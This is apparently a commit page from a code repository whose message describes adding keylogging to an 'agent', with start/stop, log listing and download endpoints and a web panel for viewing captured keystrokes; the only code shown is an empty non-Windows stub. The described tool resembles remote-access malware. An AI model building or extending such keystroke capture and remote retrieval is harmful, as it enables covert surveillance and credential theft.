Add keylogging functionality to the agent. Implement keylog start/stop, file listing, and download API endpoints. Update web interface to display keystroke logs and allow file downloads.

This commit is contained in:
2026-08-28 12:44:09 +03:00
parent 16d7aa75b3
commit d48c2044bc
13 changed files with 988 additions and 11 deletions
+14
View File
@@ -0,0 +1,14 @@
//go:build !windows
package keylog
func startPlatform(writer *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error {
close(done)
return nil
}
func stopPlatform() {}
func initKeylog() error {
return nil
}